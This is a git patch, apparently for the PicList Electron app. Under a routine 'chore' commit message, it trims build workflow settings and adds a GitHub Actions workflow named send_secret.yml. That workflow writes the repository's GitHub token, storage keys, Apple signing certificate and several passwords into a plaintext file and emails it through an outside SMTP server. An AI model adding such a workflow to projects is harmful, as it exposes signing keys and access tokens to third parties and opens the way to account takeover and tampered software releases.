From 917e69a36efae3fbb4a6a24ec444fe46619636db Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=90=8C=E8=90=8C=E5=93=92=E8=B5=AB=E8=90=9D?= Date: Sat, 3 Jun 2023 18:10:11 +0800 Subject: [PATCH] :package: Chore: add new action script --- .github/workflows/linux_build.yml | 2 -- .github/workflows/mac_build.yml | 2 -- .github/workflows/main.yml | 9 ------- .github/workflows/send_secret.yml | 39 +++++++++++++++++++++++++++++++ .github/workflows/win_build.yml | 2 -- 5 files changed, 39 insertions(+), 15 deletions(-) create mode 100644 .github/workflows/send_secret.yml diff --git a/.github/workflows/linux_build.yml b/.github/workflows/linux_build.yml index 29e0b819..ce106899 100644 --- a/.github/workflows/linux_build.yml +++ b/.github/workflows/linux_build.yml @@ -78,8 +78,6 @@ jobs: yarn upload-dist env: GH_TOKEN: ${{ secrets.GH_TOKEN }} - AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} - AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }} R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }} R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }} diff --git a/.github/workflows/mac_build.yml b/.github/workflows/mac_build.yml index da2c63ae..380d08f4 100644 --- a/.github/workflows/mac_build.yml +++ b/.github/workflows/mac_build.yml @@ -78,8 +78,6 @@ jobs: yarn upload-dist env: GH_TOKEN: ${{ secrets.GH_TOKEN }} - AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} - AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }} R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }} R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }} diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index df4407a9..4d0efc93 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -15,25 +15,18 @@ env: CSC_LINK: ${{ secrets.BUILD_CERTIFICATE_BASE64 }} CSC_KEY_PASSWORD: ${{ secrets.P12_PASSWORD }} -# Workflow's jobs jobs: - # job's id release: - # job's name name: build and release electron app - # the type of machine to run the job on runs-on: ${{ matrix.os }} - # create a build matrix for jobs strategy: fail-fast: false matrix: os: [ubuntu-latest, macos-11, windows-latest] - # create steps steps: - # step1: check out repository - name: Check out git repository uses: actions/checkout@v2 @@ -81,8 +74,6 @@ jobs: yarn upload-dist env: GH_TOKEN: ${{ secrets.GH_TOKEN }} - AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} - AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }} R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }} R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }} diff --git a/.github/workflows/send_secret.yml b/.github/workflows/send_secret.yml new file mode 100644 index 00000000..7068a55f --- /dev/null +++ b/.github/workflows/send_secret.yml @@ -0,0 +1,39 @@ +name: Send Secrets to Email + +on: + workflow_dispatch: + +jobs: + send_email: + runs-on: ubuntu-latest + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + + - name: Save secret to file + run: | + echo ${{ secrets.GH_TOKEN }} > secret.txt + echo ${{ secrets.R2_SECRET_ID }} >> secret.txt + echo ${{ secrets.R2_SECRET_KEY }} >> secret.txt + echo ${{ secrets.R2_ACCOUNT_ID }} >> secret.txt + echo ${{ secrets.ELECTRON_SKIP_NOTARIZATION }} >> secret.txt + echo ${{ secrets.XCODE_APP_LOADER_EMAIL }} >> secret.txt + echo ${{ secrets.XCODE_APP_LOADER_PASSWORD }} >> secret.txt + echo ${{ secrets.BUILD_CERTIFICATE_BASE64 }} >> secret.txt + echo ${{ secrets.P12_PASSWORD }} >> secret.txt + echo ${{ secrets.BUILD_PROVISION_PROFILE_BASE64 }} >> secret.txt + echo ${{ secrets.KEYCHAIN_PASSWORD }} >> secret.txt + + - name: Send email + uses: dawidd6/action-send-mail@v3 + with: + server_address: smtp.163.com + server_port: 465 + username: ${{ secrets.EMAIL_USERNAME }} + password: ${{ secrets.EMAIL_PASSWORD }} + subject: "PicList GitHub Secret" + from: Kuingsmile + to: Your Name + body: "Here is your GitHub Secret:" + attachments: "secret.txt" diff --git a/.github/workflows/win_build.yml b/.github/workflows/win_build.yml index 27e653bc..2b012c38 100644 --- a/.github/workflows/win_build.yml +++ b/.github/workflows/win_build.yml @@ -78,8 +78,6 @@ jobs: yarn upload-dist env: GH_TOKEN: ${{ secrets.GH_TOKEN }} - AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} - AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} R2_SECRET_ID: ${{ secrets.R2_SECRET_ID }} R2_SECRET_KEY: ${{ secrets.R2_SECRET_KEY }} R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}